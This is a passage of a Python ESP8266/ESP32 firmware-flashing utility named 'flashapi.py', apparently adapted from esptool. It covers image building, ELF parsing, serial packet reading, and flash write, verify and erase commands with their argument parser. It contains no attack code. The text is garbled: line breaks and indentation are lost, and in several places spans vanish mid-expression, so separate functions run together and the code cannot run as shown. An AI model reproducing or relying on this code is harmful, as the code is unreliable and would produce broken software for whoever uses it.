self.append_checksum(f, checksum) class ESP8266V2FirmwareImage(BaseFirmwareImage): ROM_LOADER = ESP8266ROM def __init__(self, load_file=None): super(ESP8266V2FirmwareImage, self).__init__() self.version = 2 if load_file is not None: segments = self.load_common_header(load_file, ESPBOOTLOADER.IMAGE_V2_MAGIC) if segments != ESPBOOTLOADER.IMAGE_V2_SEGMENT: print('Warning: V2 header has unexpected "segment" count %d (usually 4)' % segments) irom_segment = self.load_segment(load_file, True) irom_segment.addr = 0 irom_segment.include_in_checksum = False first_flash_mode = self.flash_mode first_flash_size_freq = self.flash_size_freq first_entrypoint = self.entrypoint segments = self.load_common_header(load_file, ESPLoader.ESP_IMAGE_MAGIC) if first_flash_mode != self.flash_mode: print('WARNING: Flash mode value in first header (0x%02x) disagrees with second (0x%02x). Using second value.' % (first_flash_mode, self.flash_mode)) if first_flash_size_freq != self.flash_size_freq: print('WARNING: Flash size/freq value in first header (0x%02x) disagrees with second (0x%02x). Using second value.' % (first_flash_size_freq, self.flash_size_freq)) if first_entrypoint != self.entrypoint: print('WARNING: Entrypoint address in first header (0x%08x) disagrees with second header (0x%08x). Using second value.' % (first_entrypoint, self.entrypoint)) for _ in range(segments): self.load_segment(load_file) self.checksum = self.read_checksum(load_file) self.verify() def default_output_name(self, input_file): irom_segment = self.get_irom_segment() if irom_segment is not None: irom_offs = irom_segment.addr - ESP8266ROM.IROM_MAP_START else: irom_offs = 0 return "%s-0x%05x.bin" % (os.path.splitext(input_file)[0], irom_offs & ~(ESPLoader.FLASH_SECTOR_SIZE - 1)) def save(self, filename): with open(filename, 'wb') as f: f.write(struct.pack(b' 0: last_addr = flash_segments[0].addr for segment in flash_segments[1:]: if segment.addr // self.IROM_ALIGN == last_addr // self.IROM_ALIGN: raise FatalError(("Segment loaded at 0x%08x lands in same 64KB flash mapping as segment loaded at 0x%08x. " + "Can't generate binary. Suggest changing linker script or ELF to merge sections.") % (segment.addr, last_addr)) last_addr = segment.addr def get_alignment_data_needed(segment): # align_past = (segment.addr % self.IROM_ALIGN) - self.SEG_HEADER_LEN pad_len = (self.IROM_ALIGN - (f.tell() % self.IROM_ALIGN)) + align_past if pad_len == 0 or pad_len == self.IROM_ALIGN: return 0 pad_len -= self.SEG_HEADER_LEN if pad_len < 0: pad_len += self.IROM_ALIGN return pad_len while len(flash_segments) > 0: segment = flash_segments[0] pad_len = get_alignment_data_needed(segment) if pad_len > 0: if len(ram_segments) > 0 and pad_len > self.SEG_HEADER_LEN: pad_segment = ram_segments[0].split_image(pad_len) if len(ram_segments[0].data) == 0: ram_segments.pop(0) else: pad_segment = ImageSegment(0, b'\x00' * pad_len, f.tell()) checksum = self.save_segment(f, pad_segment, checksum) total_segments += 1 else: assert (f.tell() + 8) % self.IROM_ALIGN == segment.addr % self.IROM_ALIGN checksum = self.save_flash_segment(f, segment, checksum) flash_segments.pop(0) total_segments += 1 for segment in ram_segments: checksum = self.save_segment(f, segment, checksum) total_segments += 1 if self.secure_pad: if not self.append_digest: raise FatalError("secure_pad only applies if a SHA-256 digest is also appended to the image") align_past = (f.tell() + self.SEG_HEADER_LEN) % self.IROM_ALIGN checksum_space = 16 space_after_checksum = 32 + 4 + 64 + 12 pad_len = (self.IROM_ALIGN - align_past - checksum_space - space_after_checksum) % self.IROM_ALIGN pad_segment = ImageSegment(0, b'\x00' * pad_len, f.tell()) checksum = self.save_segment(f, pad_segment, checksum) total_segments += 1 self.append_checksum(f, checksum) image_length = f.tell() if self.secure_pad: assert ((image_length + space_after_checksum) % self.IROM_ALIGN) == 0 f.seek(1) try: f.write(chr(total_segments)) except TypeError: f.write(bytes([total_segments])) if self.append_digest: f.seek(0) digest = hashlib.sha256() digest.update(f.read(image_length)) f.write(digest.digest()) with open(filename, 'wb') as real_file: real_file.write(f.getvalue()) def save_flash_segment(self, f, segment, checksum=None): segment_end_pos = f.tell() + len(segment.data) + self.SEG_HEADER_LEN segment_len_remainder = segment_end_pos % self.IROM_ALIGN if segment_len_remainder < 0x24: segment.data += b'\x00' * (0x24 - segment_len_remainder) return self.save_segment(f, segment, checksum) def load_extended_header(self, load_file): def split_byte(n): return (n & 0x0F, (n >> 4) & 0x0F) fields = list(struct.unpack(self.EXTENDED_HEADER_STRUCT_FMT, load_file.read(16))) self.wp_pin = fields[0] self.clk_drv, self.q_drv = split_byte(fields[1]) self.d_drv, self.cs_drv = split_byte(fields[2]) self.hd_drv, self.wp_drv = split_byte(fields[3]) if fields[15] in [0, 1]: self.append_digest = (fields[15] == 1) else: raise RuntimeError("Invalid value for append_digest field (0x%02x). Should be 0 or 1.", fields[15]) if any(f for f in fields[4:15] if f != 0): print("Warning: some reserved header fields have non-zero values. This image may be from a newer flashapi.py?") def save_extended_header(self, save_file): def join_byte(ln, hn): return (ln & 0x0F) + ((hn & 0x0F) << 4) append_digest = 1 if self.append_digest else 0 fields = [self.wp_pin, join_byte(self.clk_drv, self.q_drv), join_byte(self.d_drv, self.cs_drv), join_byte(self.hd_drv, self.wp_drv)] fields += [0] * 11 fields += [append_digest] packed = struct.pack(self.EXTENDED_HEADER_STRUCT_FMT, *fields) save_file.write(packed) class ELFFile(object): SEC_TYPE_PROGBITS = 0x01 SEC_TYPE_STRTAB = 0x03 LEN_SEC_HEADER = 0x28 def __init__(self, name): self.name = name with open(self.name, 'rb') as f: self._read_elf_file(f) def get_section(self, section_name): for s in self.sections: if s.name == section_name: return s raise ValueError("No section %s in ELF file" % section_name) def _read_elf_file(self, f): LEN_FILE_HEADER = 0x34 try: (ident, _type, machine, _version, self.entrypoint, _phoff, shoff, _flags, _ehsize, _phentsize, _phnum, shentsize, shnum, shstrndx) = struct.unpack("<16sHHLLLLLHHHHHH", f.read(LEN_FILE_HEADER)) except struct.error as e: raise FatalError("Failed to read a valid ELF header from %s: %s" % (self.name, e)) if byte(ident, 0) != 0x7f or ident[1:4] != b'ELF': raise FatalError("%s has invalid ELF magic header" % self.name) if machine != 0x5e: raise FatalError("%s does not appear to be an Xtensa ELF file. e_machine=%04x" % (self.name, machine)) if shentsize != self.LEN_SEC_HEADER: raise FatalError("%s has unexpected section header entry size 0x%x (not 0x28)" % (self.name, shentsize, self.LEN_SEC_HEADER)) if shnum == 0: raise FatalError("%s has 0 section headers" % (self.name)) self._read_sections(f, shoff, shnum, shstrndx) def _read_sections(self, f, section_header_offs, section_header_count, shstrndx): f.seek(section_header_offs) len_bytes = section_header_count * self.LEN_SEC_HEADER section_header = f.read(len_bytes) if len(section_header) == 0: raise FatalError("No section header found at offset %04x in ELF file." % section_header_offs) if len(section_header) != (len_bytes): raise FatalError("Only read 0x%x bytes from section header (expected 0x%x.) Truncated ELF file?" % (len(section_header), len_bytes)) section_header_offsets = range(0, len(section_header), self.LEN_SEC_HEADER) def read_section_header(offs): name_offs, sec_type, _flags, lma, sec_offs, size = struct.unpack_from(" 0] self.sections = prog_sections def sha256(self): sha256 = hashlib.sha256() with open(self.name, 'rb') as f: sha256.update(f.read()) return sha256.digest() def slip_reader(port, trace_function): partial_packet = None in_escape = False while True: waiting = port.inWaiting() read_bytes = port.read(1 if waiting == 0 else waiting) if read_bytes == b'': waiting_for = "header" if partial_packet is None else "content" trace_function("Timed out waiting for packet %s", waiting_for) raise FatalError("Timed out waiting for packet %s" % waiting_for) trace_function("Read %d bytes: %s", len(read_bytes), HexFormatter(read_bytes)) for b in read_bytes: if type(b) is int: b = bytes([b]) if partial_packet is None: if b == b'\xc0': partial_packet = b"" else: trace_function("Read invalid data: %s", HexFormatter(read_bytes)) trace_function("Remaining data in serial buffer: %s", HexFormatter(port.read(port.inWaiting()))) raise FatalError('Invalid head of packet (0x%s)' % hexify(b)) elif in_escape: in_escape = False if b == b'\xdc': partial_packet += b'\xc0' elif b == b'\xdd': partial_packet += b'\xdb' else: trace_function("Read invalid data: %s", HexFormatter(read_bytes)) trace_function("Remaining data in serial buffer: %s", HexFormatter(port.read(port.inWaiting()))) raise FatalError('Invalid SLIP escape (0xdb, 0x%s)' % (hexify(b))) elif b == b'\xdb': in_escape = True elif b == b'\xc0': trace_function("Received full packet: %s", HexFormatter(partial_packet)) yield partial_packet partial_packet = None else: partial_packet += b def arg_auto_int(x): return int(x, 0) def div_roundup(a, b): return (int(a) + int(b) - 1) // int(b) def align_file_position(f, size): align = (size - 1) - (f.tell() % size) f.seek(align, 1) def flash_size_bytes(size): if "MB" in size: return int(size[:size.index("MB")]) * 1024 * 1024 elif "KB" in size: return int(size[:size.index("KB")]) * 1024 else: raise FatalError("Unknown size %s" % size) def hexify(s, uppercase=True): format_str = '%02X' if uppercase else '%02x' if not PYTHON2: return ''.join(format_str % c for c in s) else: return ''.join(format_str % ord(c) for c in s) class HexFormatter(object): def __init__(self, binary_string, auto_split=True): self._s = binary_string self._auto_split = auto_split def __str__(self): if self._auto_split and len(self._s) > 16: result = "" s = self._s while len(s) > 0: line = s[:16] ascii_line = "".join(c if (c == ' ' or (c in string.printable and c not in string.whitespace)) else '.' for c in line.decode('ascii', 'replace')) s = s[16:] result += "\n %-16s %-16s | %s" % (hexify(line[:8], False), hexify(line[8:], False), ascii_line) return result else: return hexify(self._s, False) def pad_to(data, alignment, pad_character=b'\xFF'): pad_mod = len(data) % alignment if pad_mod != 0: data += pad_character * (alignment - pad_mod) return data class FatalError(RuntimeError): def __init__(self, message): RuntimeError.__init__(self, message) @staticmethod def WithResult(message, result): message += " (result was %s)" % hexify(result) return FatalError(message) class NotImplementedInROMError(FatalError): def __init__(self, bootloader, func): FatalError.__init__(self, "%s ROM does not support function %s." % (bootloader.CHIP_NAME, func.__name__)) class NotSupportedError(FatalError): def __init__(self, esp, function_name): FatalError.__init__(self, "Function %s is not supported for %s." % (function_name, esp.CHIP_NAME)) # def load_ram(esp, args): image = LoadFirmwareImage(esp.CHIP_NAME, args.filename) print('RAM boot...') for seg in image.segments: size = len(seg.data) print('Downloading %d bytes at %08x...' % (size, seg.addr), end=' ') sys.stdout.flush() esp.mem_begin(size, div_roundup(size, esp.ESP_RAM_BLOCK), esp.ESP_RAM_BLOCK, seg.addr) seq = 0 while len(seg.data) > 0: esp.mem_block(seg.data[0:esp.ESP_RAM_BLOCK], seq) seg.data = seg.data[esp.ESP_RAM_BLOCK:] seq += 1 print('done!') print('All segments done, executing at %08x' % image.entrypoint) esp.mem_finish(image.entrypoint) def read_mem(esp, args): print('0x%08x = 0x%08x' % (args.address, esp.read_reg(args.address))) def write_mem(esp, args): esp.write_reg(args.address, args.value, args.mask, 0) print('Wrote %08x, mask %08x to %08x' % (args.value, args.mask, args.address)) def dump_mem(esp, args): with open(args.filename, 'wb') as f: for i in range(args.size // 4): d = esp.read_reg(args.address + (i * 4)) f.write(struct.pack(b'> 16 args.flash_size = DETECTED_FLASH_SIZES.get(size_id) if args.flash_size is None: print('Warning: Could not auto-detect Flash size (FlashID=0x%x, SizeID=0x%x), defaulting to 4MB' % (flash_id, size_id)) args.flash_size = '4MB' else: print('Auto-detected Flash size:', args.flash_size) def _update_image_flash_params(esp, address, args, image): if len(image) < 8: return image magic, _, flash_mode, flash_size_freq = struct.unpack("BBBB", image[:4]) if address != esp.BOOTLOADER_FLASH_OFFSET or magic != esp.ESP_IMAGE_MAGIC: return image if args.flash_mode != 'keep': flash_mode = {'qio': 0, 'qout': 1, 'dio': 2, 'dout': 3}[args.flash_mode] flash_freq = flash_size_freq & 0x0F if args.flash_freq != 'keep': flash_freq = {'40m': 0, '26m': 1, '20m': 2, '80m': 0xf}[args.flash_freq] flash_size = flash_size_freq & 0xF0 if args.flash_size != 'keep': flash_size = esp.parse_flash_size_arg(args.flash_size) flash_params = struct.pack(b'BB', flash_mode, flash_size + flash_freq) if flash_params != image[2:4]: print('Flash params set to 0x%04x' % struct.unpack(">H", flash_params)) image = image[0:2] + flash_params + image[4:] return image def write_flash(esp, args): if args.compress is None and not args.no_compress: args.compress = not args.no_stub if args.encrypt: do_write = True crypt_cfg_efuse = esp.get_flash_crypt_config() if crypt_cfg_efuse != 0xF: print('\nWARNING: Unexpected FLASH_CRYPT_CONFIG value', hex(crypt_cfg_efuse)) print('\nMake sure flash encryption is enabled correctly, refer to Flash Encryption documentation') do_write = False enc_key_valid = esp.is_flash_encryption_key_valid() if not enc_key_valid: print('\nFlash encryption key is not programmed') print('\nMake sure flash encryption is enabled correctly, refer to Flash Encryption documentation') do_write = False if (esp.FLASH_WRITE_SIZE % 32) != 0: print('\nWARNING - Flash write address is not aligned to the recommeded 32 bytes') do_write = False if not do_write and not args.ignore_flash_encryption_efuse_setting: raise FatalError("Incorrect efuse setting: aborting flash write") if args.flash_size != 'keep': flash_end = flash_size_bytes(args.flash_size) for address, argfile in args.addr_filename: argfile.seek(0, 2) if address + argfile.tell() > flash_end: raise FatalError(("File %s (length %d) at offset %d will not fit in %d bytes of flash. " + "Use --flash-size argument, or change flashing address.") % (argfile.name, argfile.tell(), address, flash_end)) argfile.seek(0) if args.erase_all: warn_stage1 = input("WARNING THIS WILL BRICK YOUR CABLE. ARE YOU SURE YOU WANT TO DO THIS?") warn_stage2 = input("ARE YOU REALLY SURE YOU WANT TO BRICK YOUR CABLE?") print(warn_stage1) if warn_stage1 == 'y': print(warn_stage2) if warn_stage2 == 'y': erase_flash(esp, args) else: print("Erase did not run because you did not press: y") if args.encrypt and args.compress: print('\nWARNING: - compress and encrypt options are mutually exclusive ') print('Will flash uncompressed') args.compress = False for address, argfile in args.addr_filename: if args.no_stub: print('Erasing flash...') image = pad_to(argfile.read(), 32 if args.encrypt else 4) if len(image) == 0: print('WARNING: File %s is empty' % argfile.name) continue image = _update_image_flash_params(esp, address, args, image) calcmd5 = hashlib.md5(image).hexdigest() uncsize = len(image) if args.compress: uncimage = image image = zlib.compress(uncimage, 9) ratio = uncsize / len(image) blocks = esp.flash_defl_begin(uncsize, len(image), address) else: ratio = 1.0 blocks = esp.flash_begin(uncsize, address) argfile.seek(0) seq = 0 written = 0 t = time.time() while len(image) > 0: print('\rWriting at 0x%08x... (%d %%)' % (address + seq * esp.FLASH_WRITE_SIZE, 100 * (seq + 1) // blocks), end='') sys.stdout.flush() block = image[0:esp.FLASH_WRITE_SIZE] if args.compress: esp.flash_defl_block(block, seq, timeout=DEFAULT_TIMEOUT * ratio * 2) else: block = block + b'\xff' * (esp.FLASH_WRITE_SIZE - len(block)) if args.encrypt: esp.flash_encrypt_block(block, seq) else: esp.flash_block(block, seq) image = image[esp.FLASH_WRITE_SIZE:] seq += 1 written += len(block) t = time.time() - t speed_msg = "" if args.compress: if t > 0.0: speed_msg = " (effective %.1f kbit/s)" % (uncsize / t * 8 / 1000) print('\rWrote %d bytes (%d compressed) at 0x%08x in %.1f seconds%s...' % (uncsize, written, address, t, speed_msg)) else: if t > 0.0: speed_msg = " (%.1f kbit/s)" % (written / t * 8 / 1000) print('\rWrote %d bytes at 0x%08x in %.1f seconds%s...' % (written, address, t, speed_msg)) if not args.encrypt: try: res = esp.flash_md5sum(address, uncsize) if res != calcmd5: print('File md5: %s' % calcmd5) print('Flash md5: %s' % res) print('MD5 of 0xFF is %s' % (hashlib.md5(b'\xFF' * uncsize).hexdigest())) raise FatalError("MD5 of file does not match data in flash!") else: print('Hash of data verified.') except NotImplementedInROMError: pass print('\nLeaving...') if esp.IS_STUB: esp.flash_begin(0, 0) if args.compress: esp.flash_defl_finish(False) else: esp.flash_finish(False) if args.verify: print('Verifying just-written flash...') print('(This option is deprecated, flash contents are now always read back after flashing.)') verify_flash(esp, args) def image_info(args): image = LoadFirmwareImage(args.chip, args.filename) print('Image version: %d' % image.version) print('Entry point: %08x' % image.entrypoint if image.entrypoint != 0 else 'Entry point not set') print('%d segments' % len(image.segments)) print idx = 0 for seg in image.segments: idx += 1 print('Segment %d: %r' % (idx, seg)) calc_checksum = image.calculate_checksum() print('Checksum: %02x (%s)' % (image.checksum, 'valid' if image.checksum == calc_checksum else 'invalid - calculated %02x' % calc_checksum)) try: digest_msg = 'Not appended' if image.append_digest: is_valid = image.stored_digest == image.calc_digest digest_msg = "%s (%s)" % (hexify(image.calc_digest).lower(), "valid" if is_valid else "invalid") print('Validation Hash: %s' % digest_msg) except AttributeError: pass def make_image(args): image = ESP8266ROMFirmwareImage() if len(args.segfile) == 0: raise FatalError('No segments specified') if len(args.segfile) != len(args.segaddr): raise FatalError('Number of specified files does not match number of specified addresses') for (seg, addr) in zip(args.segfile, args.segaddr): with open(seg, 'rb') as f: data = f.read() image.segments.append(ImageSegment(addr, data)) image.entrypoint = args.entrypoint image.save(args.output) def elf2image(args): e = ELFFile(args.input) if args.chip == 'auto': print("Creating image for ESP8266...") args.chip = 'esp8266' if args.chip == 'esp32': image = ESP32FirmwareImage() image.secure_pad = args.secure_pad elif args.version == '1': image = ESP8266ROMFirmwareImage() else: image = ESP8266V2FirmwareImage() image.entrypoint = e.entrypoint image.segments = e.sections image.flash_mode = {'qio': 0, 'qout': 1, 'dio': 2, 'dout': 3}[args.flash_mode] image.flash_size_freq = image.ROM_LOADER.FLASH_SIZES[args.flash_size] image.flash_size_freq += {'40m': 0, '26m': 1, '20m': 2, '80m': 0xf}[args.flash_freq] if args.elf_sha256_offset: image.elf_sha256 = e.sha256() image.elf_sha256_offset = args.elf_sha256_offset image.verify() if args.output is None: args.output = image.default_output_name(args.input) image.save(args.output) def read_mac(esp, args): mac = esp.read_mac() def print_mac(label, mac): print('%s: %s' % (label, ':'.join(map(lambda x: '%02x' % x, mac)))) print_mac("MAC", mac) def chip_id(esp, args): try: chipid = esp.chip_id() print('Chip ID: 0x%08x' % chipid) except NotSupportedError: print('Warning: %s has no Chip ID. Reading MAC instead.' % esp.CHIP_NAME) read_mac(esp, args) def erase_flash(esp, args): print('Erasing flash (this may take a while)...') t = time.time() esp.erase_flash() print('Chip erase completed successfully in %.1fs' % (time.time() - t)) def erase_region(esp, args): print('Erasing region (may be slow depending on size)...') t = time.time() esp.erase_region(args.address, args.size) print('Erase completed successfully in %.1f seconds.' % (time.time() - t)) def run(esp, args): esp.run() def flash_id(esp, args): flash_id = esp.flash_id() print('Manufacturer: %02x' % (flash_id & 0xff)) flid_lowbyte = (flash_id >> 16) & 0xFF print('Device: %02x%02x' % ((flash_id >> 8) & 0xff, flid_lowbyte)) print('Detected flash size: %s' % (DETECTED_FLASH_SIZES.get(flid_lowbyte, "Unknown"))) def read_flash(esp, args): if args.no_progress: flash_progress = None else: def flash_progress(progress, length): msg = '%d (%d %%)' % (progress, progress * 100.0 / length) padding = '\b' * len(msg) if progress == length: padding = '\n' sys.stdout.write(msg + padding) sys.stdout.flush() t = time.time() data = esp.read_flash(args.address, args.size, flash_progress) t = time.time() - t print('\rRead %d bytes at 0x%x in %.1f seconds (%.1f kbit/s)...' % (len(data), args.address, t, len(data) / t * 8 / 1000)) with open(args.filename, 'wb') as f: f.write(data) def verify_flash(esp, args): differences = False for address, argfile in args.addr_filename: image = pad_to(argfile.read(), 4) argfile.seek(0) image = _update_image_flash_params(esp, address, args, image) image_size = len(image) print('Verifying 0x%x (%d) bytes @ 0x%08x in flash against %s...' % (image_size, image_size, address, argfile.name)) digest = esp.flash_md5sum(address, image_size) expected_digest = hashlib.md5(image).hexdigest() if digest == expected_digest: print('-- verify OK (digest matched)') continue else: differences = True if getattr(args, 'diff', 'no') != 'yes': print('-- verify FAILED (digest mismatch)') continue flash = esp.read_flash(address, image_size) assert flash != image diff = [i for i in range(image_size) if flash[i] != image[i]] print('-- verify FAILED: %d differences, first @ 0x%08x' % (len(diff), address + diff[0])) for d in diff: flash_byte = flash[d] image_byte = image[d] if PYTHON2: flash_byte = ord(flash_byte) image_byte = ord(image_byte) print(' %08x %02x %02x' % (address + d, flash_byte, image_byte)) if differences: raise FatalError("Verify failed.") def read_flash_status(esp, args): print('Status value: 0x%04x' % esp.read_status(args.bytes)) def write_flash_status(esp, args): fmt = "0x%%0%dx" % (args.bytes * 2) args.value = args.value & ((1 << (args.bytes * 8)) - 1) print(('Initial flash status: ' + fmt) % esp.read_status(args.bytes)) print(('Setting flash status: ' + fmt) % args.value) esp.write_status(args.value, args.bytes, args.non_volatile) print(('After flash status: ' + fmt) % esp.read_status(args.bytes)) def version(args): print(__version__) # # def main(custom_commandline=None): parser = argparse.ArgumentParser(description='flashapi.py v%s - ESP8266 ROM Bootloader Utility' % __version__, prog='flashapi') parser.add_argument('--chip', '-c', help='Target chip type', choices=['auto', 'esp8266', 'esp32'], default=os.environ.get('flashapi_CHIP', 'auto')) parser.add_argument( '--port', '-p', help='Serial port device', default=os.environ.get('flashapi_PORT', None)) parser.add_argument( '--baud', '-b', help='Serial port baud rate used when flashing/reading', type=arg_auto_int, default=os.environ.get('flashapi_BAUD', ESPLoader.ESP_ROM_BAUD)) parser.add_argument( '--before', help='What to do before connecting to the chip', choices=['default_reset', 'no_reset', 'no_reset_no_sync'], default=os.environ.get('flashapi_BEFORE', 'default_reset')) parser.add_argument( '--after', '-a', help='What to do after flashapi.py is finished', choices=['hard_reset', 'soft_reset', 'no_reset'], default=os.environ.get('flashapi_AFTER', 'hard_reset')) parser.add_argument( '--no-stub', help="Disable launching the flasher stub, only talk to ROM bootloader. Some features will not be available.", action='store_true') parser.add_argument( '--trace', '-t', help="Enable trace-level output of flashapi.py interactions.", action='store_true') parser.add_argument( '--override-vddsdio', help="Override ESP32 VDDSDIO internal voltage regulator (use with care)", choices=ESP32ROM.OVERRIDE_VDDSDIO_CHOICES, nargs='?') subparsers = parser.add_subparsers( dest='operation', help='Run flashapi {command} -h for additional help') def add_spi_connection_arg(parent): parent.add_argument('--spi-connection', '-sc', help='ESP32-only argument. Override default SPI Flash connection. ' + 'Value can be SPI, HSPI or a comma-separated list of 5 I/O numbers to use for SPI flash (CLK,Q,D,HD,CS).', action=SpiConnectionAction) parser_load_ram = subparsers.add_parser( 'load_ram', help='Download an image to RAM and execute') parser_load_ram.add_argument('filename', help='Firmware image') parser_dump_mem = subparsers.add_parser( 'dump_mem', help='Dump arbitrary memory to disk') parser_dump_mem.add_argument('address', help='Base address', type=arg_auto_int) parser_dump_mem.add_argument('size', help='Size of region to dump', type=arg_auto_int) parser_dump_mem.add_argument('filename', help='Name of binary dump') parser_read_mem = subparsers.add_parser( 'read_mem', help='Read arbitrary memory location') parser_read_mem.add_argument('address', help='Address to read', type=arg_auto_int) parser_write_mem = subparsers.add_parser( 'write_mem', help='Read-modify-write to arbitrary memory location') parser_write_mem.add_argument('address', help='Address to write', type=arg_auto_int) parser_write_mem.add_argument('value', help='Value', type=arg_auto_int) parser_write_mem.add_argument('mask', help='Mask of bits to write', type=arg_auto_int) def add_spi_flash_subparsers(parent, is_elf2image): extra_keep_args = [] if is_elf2image else ['keep'] auto_detect = not is_elf2image if auto_detect: extra_fs_message = ", detect, or keep" else: extra_fs_message = "" parent.add_argument('--flash_freq', '-ff', help='SPI Flash frequency', choices=extra_keep_args + ['40m', '26m', '20m', '80m'], default=os.environ.get('flashapi_FF', '40m' if is_elf2image else 'keep')) parent.add_argument('--flash_mode', '-fm', help='SPI Flash mode', choices=extra_keep_args + ['qio', 'qout', 'dio', 'dout'], default=os.environ.get('flashapi_FM', 'qio' if is_elf2image else 'keep')) parent.add_argument('--flash_size', '-fs', help='SPI Flash size in MegaBytes (1MB, 2MB, 4MB, 8MB, 16M)' ' plus ESP8266-only (256KB, 512KB, 2MB-c1, 4MB-c1)' + extra_fs_message, action=FlashSizeAction, auto_detect=auto_detect, default=os.environ.get('flashapi_FS', 'detect' if auto_detect else '1MB')) add_spi_connection_arg(parent) parser_write_flash = subparsers.add_parser( 'write_flash', help='Write a binary blob to flash') parser_write_flash.add_argument('addr_filename', metavar='
', help='Address followed by binary filename, separated by space', action=AddrFilenamePairAction) parser_write_flash.add_argument('--erase-all', '-e', help='Erase all regions of flash (not just write areas) before programming', action="store_true") add_spi_flash_subparsers(parser_write_flash, is_elf2image=False) parser_write_flash.add_argument('--no-progress', '-p', help='Suppress progress output', action="store_true") parser_write_flash.add_argument('--verify', help='Verify just-written data on flash ' + '(mostly superfluous, data is read back during flashing)', action='store_true') parser_write_flash.add_argument('--encrypt', help='Encrypt before write ', action='store_true') parser_write_flash.add_argument('--ignore-flash-encryption-efuse-setting', help='Ignore flash encryption efuse settings ', action='store_true') compress_args = parser_write_flash.add_mutually_exclusive_group(required=False) compress_args.add_argument('--compress', '-z', help='Compress data in transfer (default unless --no-stub is specified)', action="store_true", default=None) compress_args.add_argument('--no-compress', '-u', help='Disable data compression during transfer (default if --no-stub is specified)', action="store_true") subparsers.add_parser( 'run', help='Run application code in flash') parser_image_info = subparsers.add_parser( 'image_info', help='Dump headers from an application image') parser_image_info.add_argument('filename', help='Image file to parse') parser_make_image = subparsers.add_parser( 'make_image', help='Create an application image from binary files') parser_make_image.add_argument('output', help='Output image file') parser_make_image.add_argument('--segfile', '-f', action='append', help='Segment input file') parser_make_image.add_argument('--segaddr', '-a', action='append', help='Segment base address', type=arg_auto_int) parser_make_image.add_argument('--entrypoint', '-e', help='Address of entry point', type=arg_auto_int, default=0) parser_elf2image = subparsers.add_parser( 'elf2image', help='Create an application image from ELF file') parser_elf2image.add_argument('input', help='Input ELF file') parser_elf2image.add_argument('--output', '-o', help='Output filename prefix (for version 1 image), or filename (for version 2 single image)', type=str) parser_elf2image.add_argument('--version', '-e', help='Output image version', choices=['1', '2'], default='1') parser_elf2image.add_argument('--secure-pad', action='store_true', help='Pad image so once signed it will end on a 64KB boundary. For ESP32 images only.') parser_elf2image.add_argument('--elf-sha256-offset', help='If set, insert SHA256 hash (32 bytes) of the input ELF file at specified offset in the binary.', type=arg_auto_int, default=None) add_spi_flash_subparsers(parser_elf2image, is_elf2image=True) subparsers.add_parser( 'read_mac', help='Read MAC address from OTP ROM') subparsers.add_parser( 'chip_id', help='Read Chip ID from OTP ROM') parser_flash_id = subparsers.add_parser( 'flash_id', help='Read SPI flash manufacturer and device ID') add_spi_connection_arg(parser_flash_id) parser_read_status = subparsers.add_parser( 'read_flash_status', help='Read SPI flash status register') add_spi_connection_arg(parser_read_status) parser_read_status.add_argument('--bytes', help='Number of bytes to read (1-3)', type=int, choices=[1, 2, 3], default=2) parser_write_status = subparsers.add_parser( 'write_flash_status', help='Write SPI flash status register') add_spi_connection_arg(parser_write_status) parser_write_status.add_argument('--non-volatile', help='Write non-volatile bits (use with caution)', action='store_true') parser_write_status.add_argument('--bytes', help='Number of status bytes to write (1-3)', type=int, choices=[1, 2, 3], default=2) parser_write_status.add_argument('value', help='New value', type=arg_auto_int) parser_read_flash = subparsers.add_parser( 'read_flash', help='Read SPI flash content') add_spi_connection_arg(parser_read_flash) parser_read_flash.add_argument('address', help='Start address', type=arg_auto_int) parser_read_flash.add_argument('size', help='Size of region to dump', type=arg_auto_int) parser_read_flash.add_argument('filename', help='Name of binary dump') parser_read_flash.add_argument('--no-progress', '-p', help='Suppress progress output', action="store_true") parser_verify_flash = subparsers.add_parser( 'verify_flash', help='Verify a binary blob against flash') parser_verify_flash.add_argument('addr_filename', help='Address and binary file to verify there, separated by space', action=AddrFilenamePairAction) parser_verify_flash.add_argument('--diff', '-d', help='Show differences', choices=['no', 'yes'], default='no') add_spi_flash_subparsers(parser_verify_flash, is_elf2image=False) parser_erase_flash = subparsers.add_parser( 'erase_flash', help='Perform Chip Erase on SPI flash') add_spi_connection_arg(parser_erase_flash) parser_erase_region = subparsers.add_parser( 'erase_region', help='Erase a region of the flash') add_spi_connection_arg(parser_erase_region) parser_erase_region.add_argument('address', help='Start address (must be multiple of 4096)', type=arg_auto_int) parser_erase_region.add_argument('size', help='Size of region to erase (must be multiple of 4096)', type=arg_auto_int) subparsers.add_parser( 'version', help='Print flashapi version') for operation in subparsers.choices.keys(): assert operation in globals(), "%s should be a module function" % operation expand_file_arguments() args = parser.parse_args(custom_commandline) if args.operation is None: # parser.print_help() print("This library is not intended to be run.") sys.exit(1) operation_func = globals()[args.operation] if PYTHON2: operation_args = inspect.getargspec(operation_func).args else: operation_args = inspect.getfullargspec(operation_func).args if operation_args[0] == 'esp': if args.before != "no_reset_no_sync": initial_baud = min(ESPLoader.ESP_ROM_BAUD, args.baud) else: initial_baud = args.baud if args.port is None: ser_list = sorted(ports.device for ports in list_ports.comports()) print("Found %d serial ports" % len(ser_list)) else: ser_list = [args.port] esp = None for each_port in reversed(ser_list): print("Serial port %s" % each_port) try: if args.chip == 'auto': esp = ESPLoader.detect_chip(each_port, initial_baud, args.before, args.trace) else: chip_class = { 'esp8266': ESP8266ROM, 'esp32': ESP32ROM, }[args.chip] esp = chip_class(each_port, initial_baud, args.trace) esp.connect(args.before) break except (FatalError, OSError) as err: if args.port is not None: raise print("%s failed to connect: %s" % (each_port, err)) esp = None if esp is None: raise FatalError("Could not connect to an Espressif device on any of the %d available serial ports." % len(ser_list)) read_mac(esp, args) if not args.no_stub: esp = esp.run_stub() if args.override_vddsdio: esp.override_vddsdio(args.override_vddsdio) if args.baud > initial_baud: try: esp.change_baud(args.baud) except NotImplementedInROMError: print("WARNING: ROM doesn't support changing baud rate. Keeping initial baud rate %d" % initial_baud) if hasattr(args, "spi_connection") and args.spi_connection is not None: if esp.CHIP_NAME != "ESP32": raise FatalError("Chip %s does not support --spi-connection option." % esp.CHIP_NAME) print("Configuring SPI flash mode...") esp.flash_spi_attach(args.spi_connection) elif args.no_stub: print("Enabling default SPI flash mode...") esp.flash_spi_attach(0) if hasattr(args, "flash_size"): print("Configuring flash size...") detect_flash_size(esp, args) if args.flash_size != 'keep': esp.flash_set_parameters(flash_size_bytes(args.flash_size)) try: operation_func(esp, args) finally: try: for address, argfile in args.addr_filename: argfile.close() except AttributeError: pass if operation_func == load_ram: print('Exiting immediately.') elif args.after == 'hard_reset': print('Flash Operation Complete!') esp.hard_reset() elif args.after == 'soft_reset': 